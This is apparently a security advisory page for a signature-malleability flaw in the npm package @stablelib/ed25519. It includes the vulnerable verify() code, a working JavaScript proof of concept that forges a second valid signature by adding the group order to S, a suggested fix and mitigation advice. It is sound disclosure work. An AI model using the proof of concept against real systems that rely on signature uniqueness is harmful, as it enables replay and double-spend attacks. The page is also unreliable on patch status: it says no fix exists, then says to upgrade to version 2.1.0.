GHSA-x3ff-w252-2g7j — @stablelib/ed25519
MEDIUMGHSA-x3ff-w252-2g7j is a medium-severity (CVSS 5.3) vulnerability in @stablelib/ed25519. No vendor fix is recorded yet; mitigation options are listed below.
StableLib Ed25519 Signature Malleability via Missing S < L Check
Real-World Exposure
@stablelib/ed25519Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Ed25519 Signature Malleability via Missing S < L Check -- Same Class as node-forge CVE-2026-33895 (CWE-347)
Target
- Repository: StableLib/stablelib (package: @stablelib/ed25519)
- Platform: GitHub PVR
- Bounty: CVE credit
- CWE: CWE-347 (Improper Verification of Cryptographic Signature)
- Version: 2.0.2 (latest, 2026-03-28)
Root Cause
The verify() function in @stablelib/ed25519 does not check that the S component of the signature is less than the group order L. Per CFRG recommendations and the ZIP-215 specification, Ed25519 implementations should reject signatures where S >= L to prevent signature malleability.
When S >= L, [S]B = [(S mod L)]B = [(S - L)]B, meaning two different 32-byte S values produce the same verification result. An attacker who observes a valid signature (R, S) can produce a second valid signature (R, S + L) for the same message.
Vulnerable code
File: packages/ed25519/ed25519.ts (compiled: lib/ed25519.js:779-802)
export function verify(publicKey, message, signature) {
// ... length check, unpack public key ...
const hs = new SHA512();
hs.update(signature.subarray(0, 32)); // R
hs.update(publicKey); // A
hs.update(message); // M
const h = hs.digest();
reduce(h); // h is reduced mod L
scalarmult(p, q, h); // [h](-A)
scalarbase(q, signature.subarray(32)); // [S]B -- S NOT checked or reduced
edadd(p, q);
pack(t, p);
if (verify32(signature, t)) { // compare R
return false;
}
return true;
}
Note that h is properly reduce()d (line 794), but S (signature bytes 32-63) is passed directly to scalarbase() without any range check.
Proof of Concept
const ed = require('@stablelib/ed25519');
const kp = ed.generateKeyPair();
const msg = new TextEncoder().encode("Hello, world!");
const sig = ed.sign(kp.secretKey, msg);
console.log("Original valid:", ed.verify(kp.publicKey, msg, sig)); // true
// Ed25519 group order L
const L = [
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
];
// Add L to S component to create malleable signature
const malSig = new Uint8Array(64);
malSig.set(sig.subarray(0, 32)); // R unchanged
let carry = 0;
for (let i = 0; i < 32; i++) {
const sum = sig[32 + i] + L[i] + carry;
malSig[32 + i] = sum & 0xff;
carry = sum >> 8;
}
console.log("Malleable valid:", ed.verify(kp.publicKey, msg, malSig)); // true
console.log("Sigs differ:", !sig.every((b, i) => b === malSig[i])); // true
Output:
Original valid: true
Malleable valid: true
Sigs differ: true
Impact
- Signature malleability: Given any valid signature, an attacker can produce a second distinct valid signature for the same message without knowing the private key
- Transaction ID collision: Applications using signature bytes as unique identifiers (e.g., blockchain transaction IDs) are vulnerable to replay/double-spend attacks
- Deduplication bypass: Systems deduplicating by signature value accept the same message twice with different "signatures"
- Same vulnerability class as node-forge CVE-2026-33895 (GHSA-q67f-28xg-22rw), rated HIGH
Suggested Fix
Add an S < L check before processing the signature:
// L in little-endian
const L = new Uint8Array([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
]);
function scalarLessThanL(s) {
for (let i = 31; i >= 0; i--) {
if (s[i] < L[i]) return true;
if (s[i] > L[i]) return false;
}
return false; // equal to L, reject
}
export function verify(publicKey, message, signature) {
// ... existing checks ...
if (!scalarLessThanL(signature.subarray(32))) {
return false; // S >= L, reject
}
// ... rest of verify ...
}
Self-Review
- Is this by-design? No explicit documentation suggests malleability is intended. The library is described as implementing "Ed25519 public-key signature (EdDSA with Curve25519)" with no caveat about malleability.
- Is RFC 8032 strict about this? No. RFC 8032 does not require S < L. However, the CFRG recommends it, ZIP-215 requires it, and the node-forge advisory (CVE-2026-33895) treats the identical issue as HIGH severity.
- Is this already reported? No. No existing issues or CVEs for @stablelib/ed25519 regarding malleability or S < L.
- Honest weaknesses: (1) RFC 8032 does not strictly require S < L. (2) Not all applications are affected -- only those depending on signature uniqueness. (3) This is malleability, not forgery -- the attacker cannot sign new messages. (4) tweetnacl has the same issue and considers it a known limitation.
- CVSS: Medium (5.3). AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N -- can produce alternate valid signatures, limited integrity impact.
Solution
Upgrade to version 2.1.0.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @stablelib/ed25519 | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @stablelib/ed25519, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of @stablelib/ed25519 has shipped for GHSA-x3ff-w252-2g7j yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x3ff-w252-2g7j can be triaged on real exposure rather than presence alone.
Tailored to GHSA-x3ff-w252-2g7j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-x3ff-w252-2g7j in your dependencies?
O3 Security finds GHSA-x3ff-w252-2g7j across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.